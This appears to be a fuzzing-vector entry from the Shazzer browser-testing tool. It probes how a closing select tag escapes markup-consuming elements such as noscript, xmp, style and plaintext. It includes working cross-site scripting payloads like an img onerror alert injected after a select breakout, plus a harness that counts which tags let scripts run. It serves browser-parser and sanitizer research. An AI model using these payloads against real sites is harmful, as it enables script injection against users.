This vector attempts to detect tags that consume markup. Then shows select can be used to break out of the consumption. This is interesting because tags you would normally expect could be closed by itself can actually be closed by a closing select e.g. <select><noscript></select><img src onerror=alert(1)>. Note plaintext also works but this breaks Shazzer. <select><plaintext></select><img src onerror=alert(1)>
<script>
window.scriptsExecuted = {};
function countExecution(tag) {
if(!scriptsExecuted[tag]) {
scriptsExecuted[tag] = 0;
}
scriptsExecuted[tag]++;
}
</script><$[data1]><script>countExecution('$[data1]')</script></$[data1]>
<select><$[data1]></select><script>countExecution('$[data1]')</script></$[data1]></select>for (const [tag, amount] of Object.entries(scriptsExecuted)) {
if(amount === 1) {
log(tag)
}
}<iframe><script>countExecution('iframe')</script></iframe>
<select><iframe></select><script>countExecution('iframe')</script></iframe></select><noembed><script>countExecution('noembed')</script></noembed>
<select><noembed></select><script>countExecution('noembed')</script></noembed></select><noframes><script>countExecution('noframes')</script></noframes>
<select><noframes></select><script>countExecution('noframes')</script></noframes></select><noscript><script>countExecution('noscript')</script></noscript>
<select><noscript></select><script>countExecution('noscript')</script></noscript></select><style><script>countExecution('style')</script></style>
<select><style></select><script>countExecution('style')</script></style></select><title><script>countExecution('title')</script></title>
<select><title></select><script>countExecution('title')</script></title></select><xmp><script>countExecution('xmp')</script></xmp>
<select><xmp></select><script>countExecution('xmp')</script></xmp></select>